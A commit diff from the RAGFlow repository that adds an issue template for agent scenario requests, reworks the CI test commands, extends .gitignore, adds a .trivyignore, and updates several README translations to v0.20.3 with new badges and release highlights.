Docs: Updated v0.20.3 release notes (#9583)

### What problem does this PR solve?
### Type of change

- [x] Documentation Update

---------

Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>

.github/ISSUE_TEMPLATE/agent_scenario_request.yml

@@ -0,0 +1,46 @@
+name: "❤️‍🔥ᴬᴳᴱᴺᵀ Agent scenario request"
+description: Propose a agent scenario request for RAGFlow.
+title: "[Agent Scenario Request]: "
+labels: ["❤️‍🔥ᴬᴳᴱᴺᵀ agent scenario"]
+body:
+  - type: checkboxes
+    attributes:
+      label: Self Checks
+      description: "Please check the following in order to be responded in time :)"
+      options:
+        - label: I have searched for existing issues [search for existing issues](https://github.com/infiniflow/ragflow/issues), including closed ones.
+          required: true
+        - label: I confirm that I am using English to submit this report ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
+          required: true
+        - label: Non-english title submitions will be closed directly ( 非英文标题的提交将会被直接关闭 ) ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
+          required: true
+        - label: "Please do not modify this template :) and fill in all the required fields."
+          required: true
+  - type: textarea
+    attributes:
+      label: Is your feature request related to a scenario?
+      description: |
+        A clear and concise description of what the scenario is. Ex. I'm always frustrated when [...]
+      render: Markdown
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Describe the feature you'd like
+      description: A clear and concise description of what you want to happen.
+    validations:
+      required: true
+  - type: textarea
+    attributes:
+      label: Documentation, adoption, use case
+      description: If you can, explain some scenarios how users might use this, situations it would be helpful in. Any API designs, mockups, or diagrams are also helpful.
+      render: Markdown
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Additional information
+      description: |
+        Add any other context or screenshots about the feature request here.
+    validations:
+      required: false

.github/workflows/tests.yml

@@ -88,7 +88,12 @@ jobs:
             echo "Waiting for service to be available..."
             sleep 5
           done
-          cd sdk/python && uv sync --python 3.10 --group test --frozen && uv pip install . && source .venv/bin/activate && cd test/test_sdk_api && pytest -s --tb=short get_email.py t_dataset.py t_chat.py t_session.py t_document.py t_chunk.py
+          if [[ $GITHUB_EVENT_NAME == 'schedule' ]]; then
+            export HTTP_API_TEST_LEVEL=p3
+          else
+            export HTTP_API_TEST_LEVEL=p2
+          fi
+          UV_LINK_MODE=copy uv sync --python 3.10 --only-group test --no-default-groups --frozen && uv pip install sdk/python && uv run --only-group test --no-default-groups pytest -s --tb=short --level=${HTTP_API_TEST_LEVEL} test/testcases/test_sdk_api
 
       - name: Run frontend api tests against Elasticsearch
         run: |
@@ -98,7 +103,7 @@ jobs:
             echo "Waiting for service to be available..."
             sleep 5
           done
-          cd sdk/python && uv sync --python 3.10 --group test --frozen && source .venv/bin/activate && cd test/test_frontend_api && pytest -s --tb=short get_email.py test_dataset.py
+          cd sdk/python && UV_LINK_MODE=copy uv sync --python 3.10 --group test --frozen && source .venv/bin/activate && cd test/test_frontend_api && pytest -s --tb=short get_email.py test_dataset.py
           
       - name: Run http api tests against Elasticsearch
         run: |
@@ -113,7 +118,7 @@ jobs:
           else
             export HTTP_API_TEST_LEVEL=p2
           fi
-          cd sdk/python && uv sync --python 3.10 --group test --frozen && source .venv/bin/activate && cd test/test_http_api && pytest -s --tb=short --level=${HTTP_API_TEST_LEVEL}
+          UV_LINK_MODE=copy uv sync --python 3.10 --only-group test --no-default-groups --frozen && uv run --only-group test --no-default-groups pytest -s --tb=short --level=${HTTP_API_TEST_LEVEL} test/testcases/test_http_api
 
       - name: Stop ragflow:nightly
         if: always()  # always run this step even if previous steps failed
@@ -132,7 +137,12 @@ jobs:
             echo "Waiting for service to be available..."
             sleep 5
           done
-          cd sdk/python && uv sync --python 3.10 --group test --frozen && uv pip install . && source .venv/bin/activate && cd test/test_sdk_api && pytest -s --tb=short get_email.py t_dataset.py t_chat.py t_session.py t_document.py t_chunk.py
+          if [[ $GITHUB_EVENT_NAME == 'schedule' ]]; then
+            export HTTP_API_TEST_LEVEL=p3
+          else
+            export HTTP_API_TEST_LEVEL=p2
+          fi
+          UV_LINK_MODE=copy uv sync --python 3.10 --only-group test --no-default-groups --frozen && uv pip install sdk/python && DOC_ENGINE=infinity uv run --only-group test --no-default-groups pytest -s --tb=short --level=${HTTP_API_TEST_LEVEL} test/testcases/test_sdk_api
 
       - name: Run frontend api tests against Infinity
         run: |
@@ -142,7 +152,7 @@ jobs:
             echo "Waiting for service to be available..."
             sleep 5
           done
-          cd sdk/python && uv sync --python 3.10 --group test --frozen && source .venv/bin/activate && cd test/test_frontend_api && pytest -s --tb=short get_email.py test_dataset.py
+          cd sdk/python && UV_LINK_MODE=copy uv sync --python 3.10 --group test --frozen && source .venv/bin/activate && cd test/test_frontend_api && pytest -s --tb=short get_email.py test_dataset.py
 
       - name: Run http api tests against Infinity
         run: |
@@ -157,7 +167,7 @@ jobs:
           else
             export HTTP_API_TEST_LEVEL=p2
           fi
-          cd sdk/python && uv sync --python 3.10 --group test --frozen && source .venv/bin/activate && cd test/test_http_api && DOC_ENGINE=infinity pytest -s --tb=short --level=${HTTP_API_TEST_LEVEL}
+          UV_LINK_MODE=copy uv sync --python 3.10 --only-group test --no-default-groups --frozen && DOC_ENGINE=infinity uv run --only-group test --no-default-groups pytest -s --tb=short --level=${HTTP_API_TEST_LEVEL} test/testcases/test_http_api
 
       - name: Stop ragflow:nightly
         if: always()  # always run this step even if previous steps failed

.gitignore

@@ -36,6 +36,12 @@ sdk/python/ragflow.egg-info/
 sdk/python/build/
 sdk/python/dist/
 sdk/python/ragflow_sdk.egg-info/
+
+# Exclude dep files
+libssl*.deb
+tika-server*.jar*
+cl100k_base.tiktoken
+chrome*
 huggingface.co/
 nltk_data/
 
@@ -44,3 +50,148 @@ nltk_data/
 .lh/
 .venv
 docker/data
+
+
+#--------------------------------------------------#
+# The following was generated with gitignore.nvim: #
+#--------------------------------------------------#
+# Gitignore for the following technologies: Node
+
+# Logs
+logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+lerna-debug.log*
+.pnpm-debug.log*
+
+# Diagnostic reports (https://nodejs.org/api/report.html)
+report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
+
+# Runtime data
+pids
+*.pid
+*.seed
+*.pid.lock
+
+# Directory for instrumented libs generated by jscoverage/JSCover
+lib-cov
+
+# Coverage directory used by tools like istanbul
+coverage
+*.lcov
+
+# nyc test coverage
+.nyc_output
+
+# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
+.grunt
+
+# Bower dependency directory (https://bower.io/)
+bower_components
+
+# node-waf configuration
+.lock-wscript
+
+# Compiled binary addons (https://nodejs.org/api/addons.html)
+build/Release
+
+# Dependency directories
+node_modules/
+jspm_packages/
+
+# Snowpack dependency directory (https://snowpack.dev/)
+web_modules/
+
+# TypeScript cache
+*.tsbuildinfo
+
+# Optional npm cache directory
+.npm
+
+# Optional eslint cache
+.eslintcache
+
+# Optional stylelint cache
+.stylelintcache
+
+# Microbundle cache
+.rpt2_cache/
+.rts2_cache_cjs/
+.rts2_cache_es/
+.rts2_cache_umd/
+
+# Optional REPL history
+.node_repl_history
+
+# Output of 'npm pack'
+*.tgz
+
+# Yarn Integrity file
+.yarn-integrity
+
+# dotenv environment variable files
+.env
+.env.development.local
+.env.test.local
+.env.production.local
+.env.local
+
+# parcel-bundler cache (https://parceljs.org/)
+.cache
+.parcel-cache
+
+# Next.js build output
+.next
+out
+
+# Nuxt.js build / generate output
+.nuxt
+dist
+
+# Gatsby files
+.cache/
+# Comment in the public line in if your project uses Gatsby and not Next.js
+# https://nextjs.org/blog/next-9-1#public-directory-support
+# public
+
+# vuepress build output
+.vuepress/dist
+
+# vuepress v2.x temp and cache directory
+.temp
+
+# Docusaurus cache and generated files
+.docusaurus
+
+# Serverless directories
+.serverless/
+
+# FuseBox cache
+.fusebox/
+
+# DynamoDB Local files
+.dynamodb/
+
+# TernJS port file
+.tern-port
+
+# Stores VSCode versions used for testing VSCode extensions
+.vscode-test
+
+# yarn v2
+.yarn/cache
+.yarn/unplugged
+.yarn/build-state.yml
+.yarn/install-state.gz
+.pnp.*
+
+# Serverless Webpack directories
+.webpack/
+
+# SvelteKit build / generate output
+.svelte-kit
+
+# Default backup dir
+backup

.trivyignore

@@ -0,0 +1,15 @@
+**/*.md
+**/*.min.js
+**/*.min.css
+**/*.svg
+**/*.png
+**/*.jpg
+**/*.jpeg
+**/*.gif
+**/*.woff
+**/*.woff2
+**/*.map
+**/*.webp
+**/*.ico
+**/*.ttf
+**/*.eot

README.md

@@ -5,13 +5,13 @@
 </div>
 
 <p align="center">
-  <a href="./README.md">English</a> |
-  <a href="./README_zh.md">简体中文</a> |
-  <a href="./README_tzh.md">繁体中文</a> |
-  <a href="./README_ja.md">日本語</a> |
-  <a href="./README_ko.md">한국어</a> |
-  <a href="./README_id.md">Bahasa Indonesia</a> |
-  <a href="/README_pt_br.md">Português (Brasil)</a>
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DBEDFA"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
 </p>
 
 <p align="center">
@@ -22,7 +22,7 @@
         <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99">
     </a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.19.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.19.0">
+        <img src="https://img.shields.io/docker/pulls/infiniflow/ragflow?label=Docker%20Pulls&color=0db7ed&logo=docker&logoColor=white&style=flat-square" alt="docker pull infiniflow/ragflow:v0.20.3">
     </a>
     <a href="https://github.com/infiniflow/ragflow/releases/latest">
         <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
@@ -30,6 +30,9 @@
     <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
         <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
     </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
 </p>
 
 <h4 align="center">
@@ -40,6 +43,12 @@
   <a href="https://demo.ragflow.io">Demo</a>
 </h4>
 
+#
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
 <details open>
 <summary><b>📕 Table of Contents</b></summary>
 
@@ -72,17 +81,20 @@ data.
 Try our demo at [https://demo.ragflow.io](https://demo.ragflow.io).
 
 <div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
-<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
 </div>
 
 ## 🔥 Latest Updates
 
+- 2025-08-08 Supports OpenAI's latest GPT-5 series models.
+- 2025-08-04 Supports new models, including Kimi K2 and Grok 4.
+- 2025-08-01 Supports agentic workflow and MCP.
+- 2025-05-23 Adds a Python/JavaScript code executor component to Agent.
+- 2025-05-05 Supports cross-language query.
 - 2025-03-19 Supports using a multi-modal model to make sense of images within PDF or DOCX files.
 - 2025-02-28 Combined with Internet search (Tavily), supports reasoning like Deep Research for any LLMs.
-- 2025-01-26 Optimizes knowledge graph extraction and application, offering various configuration options.
 - 2024-12-18 Upgrades Document Layout Analysis model in DeepDoc.
-- 2024-11-01 Adds keyword extraction and related question generation to the parsed chunks to improve the accuracy of retrieval.
 - 2024-08-22 Support text to SQL statements through RAG.
 
 ## 🎉 Stay Tuned
@@ -178,7 +190,7 @@ releases! 🌟
 > All Docker images are built for x86 platforms. We don't currently offer Docker images for ARM64.
 > If you are on an ARM64 platform, follow [this guide](https://ragflow.io/docs/dev/build_docker_image) to build a Docker image compatible with your system.
 
-   > The command below downloads the `v0.19.0-slim` edition of the RAGFlow Docker image. See the following table for descriptions of different RAGFlow editions. To download a RAGFlow edition different from `v0.19.0-slim`, update the `RAGFLOW_IMAGE` variable accordingly in **docker/.env** before using `docker compose` to start the server. For example: set `RAGFLOW_IMAGE=infiniflow/ragflow:v0.19.0` for the full edition `v0.19.0`.
+   > The command below downloads the `v0.20.3-slim` edition of the RAGFlow Docker image. See the following table for descriptions of different RAGFlow editions. To download a RAGFlow edition different from `v0.20.3-slim`, update the `RAGFLOW_IMAGE` variable accordingly in **docker/.env** before using `docker compose` to start the server. For example: set `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.3` for the full edition `v0.20.3`.
 
    ```bash
    $ cd ragflow/docker
@@ -191,8 +203,8 @@ releases! 🌟
 
    | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
    |-------------------|-----------------|-----------------------|--------------------------|
-   | v0.19.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
-   | v0.19.0-slim      | &approx;2       | ❌                   | Stable release            |
+   | v0.20.3           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.20.3-slim      | &approx;2       | ❌                   | Stable release            |
    | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
    | nightly-slim      | &approx;2       | ❌                   | _Unstable_ nightly build  |
 

README_id.md

@@ -5,13 +5,13 @@
 </div>
 
 <p align="center">
-  <a href="./README.md">English</a> |
-  <a href="./README_zh.md">简体中文</a> |
-  <a href="./README_tzh.md">繁体中文</a> |
-  <a href="./README_ja.md">日本語</a> |
-  <a href="./README_ko.md">한국어</a> |
-  <a href="./README_id.md">Bahasa Indonesia</a> |
-  <a href="/README_pt_br.md">Português (Brasil)</a>
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體中文版自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DBEDFA"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
 </p>
 
 <p align="center">
@@ -22,7 +22,7 @@
         <img alt="Lencana Daring" src="https://img.shields.io/badge/Online-Demo-4e6b99">
     </a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.19.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.19.0">
+        <img src="https://img.shields.io/docker/pulls/infiniflow/ragflow?label=Docker%20Pulls&color=0db7ed&logo=docker&logoColor=white&style=flat-square" alt="docker pull infiniflow/ragflow:v0.20.3">
     </a>
     <a href="https://github.com/infiniflow/ragflow/releases/latest">
         <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Rilis%20Terbaru" alt="Rilis Terbaru">
@@ -30,6 +30,9 @@
     <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
         <img height="21" src="https://img.shields.io/badge/Lisensi-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="Lisensi">
     </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
 </p>
 
 <h4 align="center">
@@ -40,6 +43,8 @@
   <a href="https://demo.ragflow.io">Demo</a>
 </h4>
 
+#
+
 <details open>
 <summary><b>📕 Daftar Isi </b> </summary>
 
@@ -69,17 +74,20 @@
 Coba demo kami di [https://demo.ragflow.io](https://demo.ragflow.io).
 
 <div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
-<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
 </div>
 
 ## 🔥 Pembaruan Terbaru
 
+- 2025-08-08 Mendukung model seri GPT-5 terbaru dari OpenAI.
+- 2025-08-04 Mendukung model baru, termasuk Kimi K2 dan Grok 4.
+- 2025-08-01 Mendukung alur kerja agen dan MCP.
+- 2025-05-23 Menambahkan komponen pelaksana kode Python/JS ke Agen.
+- 2025-05-05 Mendukung kueri lintas bahasa.
 - 2025-03-19 Mendukung penggunaan model multi-modal untuk memahami gambar di dalam file PDF atau DOCX.
 - 2025-02-28 dikombinasikan dengan pencarian Internet (TAVILY), mendukung penelitian mendalam untuk LLM apa pun.
-- 2025-01-26 Optimalkan ekstraksi dan penerapan grafik pengetahuan dan sediakan berbagai opsi konfigurasi.
 - 2024-12-18 Meningkatkan model Analisis Tata Letak Dokumen di DeepDoc.
-- 2024-11-01 Penambahan ekstraksi kata kunci dan pembuatan pertanyaan terkait untuk meningkatkan akurasi pengambilan.
 - 2024-08-22 Dukungan untuk teks ke pernyataan SQL melalui RAG.
 
 ## 🎉 Tetap Terkini
@@ -173,7 +181,7 @@ Coba demo kami di [https://demo.ragflow.io](https://demo.ragflow.io).
 > Semua gambar Docker dibangun untuk platform x86. Saat ini, kami tidak menawarkan gambar Docker untuk ARM64.
 > Jika Anda menggunakan platform ARM64, [silakan gunakan panduan ini untuk membangun gambar Docker yang kompatibel dengan sistem Anda](https://ragflow.io/docs/dev/build_docker_image).
 
-> Perintah di bawah ini mengunduh edisi v0.19.0-slim dari gambar Docker RAGFlow. Silakan merujuk ke tabel berikut untuk deskripsi berbagai edisi RAGFlow. Untuk mengunduh edisi RAGFlow yang berbeda dari v0.19.0-slim, perbarui variabel RAGFLOW_IMAGE di docker/.env sebelum menggunakan docker compose untuk memulai server. Misalnya, atur RAGFLOW_IMAGE=infiniflow/ragflow:v0.19.0 untuk edisi lengkap v0.19.0.
+> Perintah di bawah ini mengunduh edisi v0.20.3-slim dari gambar Docker RAGFlow. Silakan merujuk ke tabel berikut untuk deskripsi berbagai edisi RAGFlow. Untuk mengunduh edisi RAGFlow yang berbeda dari v0.20.3-slim, perbarui variabel RAGFLOW_IMAGE di docker/.env sebelum menggunakan docker compose untuk memulai server. Misalnya, atur RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.3 untuk edisi lengkap v0.20.3.
 
 ```bash
 $ cd ragflow/docker
@@ -186,8 +194,8 @@ $ docker compose -f docker-compose.yml up -d
 
 | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
 | ----------------- | --------------- | --------------------- | ------------------------ |
-| v0.19.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
-| v0.19.0-slim      | &approx;2       | ❌                    | Stable release           |
+| v0.20.3           | &approx;9       | :heavy_check_mark:    | Stable release           |
+| v0.20.3-slim      | &approx;2       | ❌                    | Stable release           |
 | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
 | nightly-slim      | &approx;2       | ❌                    | _Unstable_ nightly build |
 

README_ja.md

@@ -5,13 +5,13 @@
 </div>
 
 <p align="center">
-  <a href="./README.md">English</a> |
-  <a href="./README_zh.md">简体中文</a> |
-  <a href="./README_tzh.md">繁体中文</a> |
-  <a href="./README_ja.md">日本語</a> |
-  <a href="./README_ko.md">한국어</a> |
-  <a href="./README_id.md">Bahasa Indonesia</a> |
-  <a href="/README_pt_br.md">Português (Brasil)</a>
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體中文版自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DBEDFA"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
 </p>
 
 <p align="center">
@@ -22,7 +22,7 @@
         <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99">
     </a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.19.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.19.0">
+        <img src="https://img.shields.io/docker/pulls/infiniflow/ragflow?label=Docker%20Pulls&color=0db7ed&logo=docker&logoColor=white&style=flat-square" alt="docker pull infiniflow/ragflow:v0.20.3">
     </a>
     <a href="https://github.com/infiniflow/ragflow/releases/latest">
         <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
@@ -30,6 +30,9 @@
     <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
         <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
     </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
 </p>
 
 <h4 align="center">
@@ -40,6 +43,8 @@
   <a href="https://demo.ragflow.io">Demo</a>
 </h4>
 
+#
+
 ## 💡 RAGFlow とは？
 
 [RAGFlow](https://ragflow.io/) は、深い文書理解に基づいたオープンソースの RAG (Retrieval-Augmented Generation) エンジンである。LLM（大規模言語モデル）を組み合わせることで、様々な複雑なフォーマットのデータから根拠のある引用に裏打ちされた、信頼できる質問応答機能を実現し、あらゆる規模のビジネスに適した RAG ワークフローを提供します。
@@ -49,17 +54,20 @@
 デモをお試しください：[https://demo.ragflow.io](https://demo.ragflow.io)。
 
 <div align="center" style="margin-top:20px;margin-bottom:20px;">
-<img src="https://github.com/infiniflow/ragflow/assets/7248/2f6baa3e-1092-4f11-866d-36f6a9d075e5" width="1200"/>
-<img src="https://github.com/user-attachments/assets/504bbbf1-c9f7-4d83-8cc5-e9cb63c26db6" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
 </div>
 
 ## 🔥 最新情報
 
+- 2025-08-08 OpenAI の最新 GPT-5 シリーズモデルをサポートします。
+- 2025-08-04 新モデル、キミK2およびGrok 4をサポート。
+- 2025-08-01 エージェントワークフローとMCPをサポート。
+- 2025-05-23 エージェントに Python/JS コードエグゼキュータコンポーネントを追加しました。
+- 2025-05-05 言語間クエリをサポートしました。
 - 2025-03-19 PDFまたはDOCXファイル内の画像を理解するために、多モーダルモデルを使用することをサポートします。
 - 2025-02-28 インターネット検索 (TAVILY) と組み合わせて、あらゆる LLM の詳細な調査をサポートします。
-- 2025-01-26 ナレッジ グラフの抽出と適用を最適化し、さまざまな構成オプションを提供します。
 - 2024-12-18 DeepDoc のドキュメント レイアウト分析モデルをアップグレードします。
-- 2024-11-01 再現の精度を向上させるために、解析されたチャンクにキーワード抽出と関連質問の生成を追加しました。
 - 2024-08-22 RAG を介して SQL ステートメントへのテキストをサポートします。
 
 ## 🎉 続きを楽しみに
@@ -152,7 +160,7 @@
 > 現在、公式に提供されているすべての Docker イメージは x86 アーキテクチャ向けにビルドされており、ARM64 用の Docker イメージは提供されていません。
 > ARM64 アーキテクチャのオペレーティングシステムを使用している場合は、[このドキュメント](https://ragflow.io/docs/dev/build_docker_image)を参照して Docker イメージを自分でビルドしてください。
 
-   > 以下のコマンドは、RAGFlow Docker イメージの v0.19.0-slim エディションをダウンロードします。異なる RAGFlow エディションの説明については、以下の表を参照してください。v0.19.0-slim とは異なるエディションをダウンロードするには、docker/.env ファイルの RAGFLOW_IMAGE 変数を適宜更新し、docker compose を使用してサーバーを起動してください。例えば、完全版 v0.19.0 をダウンロードするには、RAGFLOW_IMAGE=infiniflow/ragflow:v0.19.0 と設定します。
+   > 以下のコマンドは、RAGFlow Docker イメージの v0.20.3-slim エディションをダウンロードします。異なる RAGFlow エディションの説明については、以下の表を参照してください。v0.20.3-slim とは異なるエディションをダウンロードするには、docker/.env ファイルの RAGFLOW_IMAGE 変数を適宜更新し、docker compose を使用してサーバーを起動してください。例えば、完全版 v0.20.3 をダウンロードするには、RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.3 と設定します。
 
    ```bash
    $ cd ragflow/docker
@@ -165,8 +173,8 @@
 
    | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?                  |
    | ----------------- | --------------- | --------------------- | ------------------------ |
-   | v0.19.0           | &approx;9       | :heavy_check_mark:    | Stable release           |
-   | v0.19.0-slim      | &approx;2       | ❌                    | Stable release           |
+   | v0.20.3           | &approx;9       | :heavy_check_mark:    | Stable release           |
+   | v0.20.3-slim      | &approx;2       | ❌                    | Stable release           |
    | nightly           | &approx;9       | :heavy_check_mark:    | _Unstable_ nightly build |
    | nightly-slim      | &approx;2       | ❌                     | _Unstable_ nightly build |
 

README_ko.md

@@ -5,13 +5,13 @@
 </div>
 
 <p align="center">
-  <a href="./README.md">English</a> |
-  <a href="./README_zh.md">简体中文</a> |
-  <a href="./README_tzh.md">繁体中文</a> |
-  <a href="./README_ja.md">日本語</a> |
-  <a href="./README_ko.md">한국어</a> |
-  <a href="./README_id.md">Bahasa Indonesia</a> |
-  <a href="/README_pt_br.md">Português (Brasil)</a>
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DBEDFA"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
 </p>
 
 <p align="center">
@@ -22,7 +22,7 @@
         <img alt="Static Badge" src="https://img.shields.io/badge/Online-Demo-4e6b99">
     </a>
     <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
-        <img src="https://img.shields.io/badge/docker_pull-ragflow:v0.19.0-brightgreen" alt="docker pull infiniflow/ragflow:v0.19.0">
+        <img src="https://img.shields.io/docker/pulls/infiniflow/ragflow?label=Docker%20Pulls&color=0db7ed&logo=docker&logoColor=white&style=flat-square" alt="docker pull infiniflow/ragflow:v0.20.3">
     </a>
     <a href="https://github.com/infiniflow/ragflow/releases/latest">
         <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
@@ -30,6 +30,9 @@
     <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
         <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
     </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
 </p>
 
 <h4 align="center">
@@ -40,6 +43,8 @@
   <a href="https://demo.ragflow.io">Demo</a>
 </h4>
 
+#
+
 ## 💡 RAGFlow란?
 
 [RAGFlow](https://ragflow.io/)는 심층 문서 이해에 기반한 오픈소스 RAG (Retrieval-Augmented Generation) 엔진입니다. 이 엔진은 대규모 언어 모델(LLM)과 결합하여 정확한 질문 응답 기능을 제공하며, 다양한 복잡한 형식의 데이터에서 신뢰할 수 있는 출처를 바탕으로 한 인용을 통해 이를 뒷받침합니다. RAGFlow는 규모에 상관없이 모든 기업에 최적화된 RAG 워크플로우를 제공합니다.
@@ -49,17 +54,20 @@
 데모를 [https://demo.ragflow.io](https://demo.ragflow.io)에서 실행해 보세요.
 
